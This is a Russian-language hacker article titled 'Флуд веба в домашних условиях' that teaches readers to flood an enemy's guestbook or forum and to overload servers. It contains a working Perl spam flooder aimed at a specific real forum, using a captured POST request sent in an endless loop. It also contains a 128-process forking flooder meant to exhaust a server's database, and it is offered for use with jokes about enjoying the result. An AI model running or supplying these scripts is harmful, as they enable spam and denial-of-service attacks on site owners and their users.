Флуд веба в домашних условиях.
Эта статья - некий аналог доки "Написание эксплоита для Web в домашних условиях"
Только мы будем писать всякие флудеры и прочие нехорошие вещи :)
Прошу каментить и оценивать
Начали :)
I Intro
Наверняка каждый из нас заходил на домашнюю страничку недруга и видел там пункт "гостевая книга". Многим захотелось написать туда сообщение.И не одно :)
В этой статье я расскажу как такое можно сделать.
Сразу оговорюсь, что все флудеры я буду писать на перле.
Итак, вот что нам понадобится:
1)Браузер Firefox с плагином Live HTTP Headers.Без него можно, но гораздо удобней именно с плагином.
2)perl, желательно на nix-системе.Возможны варианты с денвером, active perl'ом, cygwin'ом
3)Прямые руки и начальные знания HTTP протокола и программирования.
Постараюсь описать на реальных примерах.
II Inside
Как устроены гостевые книги? Чаще всего это html-форма через которую клиент передает сообщение и php-скрипт, который собственно это сообщение добавляет в базу (реже - файл). Для примера возьмем форум одного "мега-портала" - linuxsuxx.fastbb.ru
Вот "скелет" флудера:
Код:
#!/usr/bin/perl -w
use IO::Socket;
$host = "[victimhost]";
$pack='[http packet dump]'
while (1) {
my $h_sock = new IO::Socket::INET (PeerAddr => "$host", PeerPort => 80, PeerProto => tcp) or die "No Answer";
print $h_sock $req;
}
Как видите, все очень просто.
Переменной $host задается хост для флуда, в $pack пихается дамп пакета.
Т.к. все на борда.ру написано на яваскриптах, мы будем использовать Live HTTP Heders или любой другой аналогичный плагин. Запускаем LiveHTTPHeaders, пишем постик на свой вкус и жмем "отправить". Получаем дамп трафика.Keep-Alive лушче сразу удалить, потому что нам сервер нужен живим, а кипаливом мы его совсем убьем :)
Вот код флудера под борду:
Код:
#!/usr/bin/perl -w
use IO::Socket;
$host = " linuxsuxx.fastbb.ru";
$pack='POST / HTTP/1.1
Host: linuxsuxx.borda.ru
User-Agent: Agent Smith
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q= 0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Referer: http://linuxsuxx.borda.ru/?0-0
Cookie: s=7fnô5fôù
Content-Type: application/x-www-form-urlencoded
Content-Length: 258
parol=7fn%F45f%F4%F9&work=2&razdel=0&start=0&filenumber=&msgid=&start_page_re=0&adresat=&only_new_re=0&statisc=308777%601280%6024%60no%60no%60no%60no%60no&title=Another+Fl00d&message=%D2%F3%F2+%E1%FB%EB+%CF%F3%EF%E0+%C2%E0%F1%FC%EA%E8%ED.&nick=3v1l+b0t&pass=';
while (1) {
my $h_sock = new IO::Socket::INET (PeerAddr => "$host", PeerPort => 80, PeerProto => tcp ) or die "sock";
print $h_sock $pack;
}
По вкусу можно вставлять sleep в цикл :)
У нас флудер однопоточный, т.к. нам нужно не убить сервер а зафлудить скрипт. Скрипт готов. Запускаем. Наслаждаемся :)
III Флуд серверов, баз данных.
Иногда бывает проще задосить сервер целиком.
Некоторые навароченные движки делают под 20 SQL запросов за раз. Давайте подумаем, что будет если мы одновременно пошелм 5 запросов? А 10?
Чем больше запросов - тем проще будет скрипт завалить.
Код многопоточного флудера:
Код:
#!/usr/bin/perl -w
#########################
# USE AT YOUR OWN RISK #
# Coded by Gh0s7 #
#########################
use IO::Socket;
if(@ARGV < 3) { usage();}
$host = $ARGV[0];
$port = $ARGV[1];
$proto = $ARGV[2];
$ifile = $ARGV[3];
$thread= 128;
sub usage
{
print "#############################################\n";
print "./ps.pl [host] [port] [proto] [Packet_file] \n";
print "#############################################\n";
exit 1;
}
open (IFILE,$ifile) or die ("iFile");
sysread (IFILE,$buff,5000);
close (IFILE);
$sock = "$buff\n";
#Test Fork
for ( $i = 1; $i < $thread; $i++)
{
$proc = fork;
if ( $proc == "0" ) { last; }
print ("[ $proc ($i) Process Ready ]\n") || print "[ Cannot Fork ]\n" && last;
# print ("[ $proc ($i) Started! ]\n");
}
while ( 1 )
{
my $h_sock = new IO::Socket::INET ( PeerAddr => "$host", PeerPort => "$port", Proto => "$proto" ) or print ("[ $$ Closed Sock ] \n") && sleep 5 && next;
print $h_sock "$sock" ;
print "[ $$ Send Req ]\n";
# sleep 0.5;
#Use at your own risk!
#NO TIMEOUT!
}
IV Outro
Как видите флуд - очень простая вещь.Главное - знать основы протокола HTTP. А дальше все делается по анологии ;)
Links:
HTTP 1.0 rfc
Для Тренировки ;)
Live HTTP Headers
Не шали (С)